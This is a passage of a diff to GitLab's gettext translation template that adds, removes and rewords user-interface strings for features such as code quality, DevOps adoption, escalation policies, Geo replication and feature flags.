-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
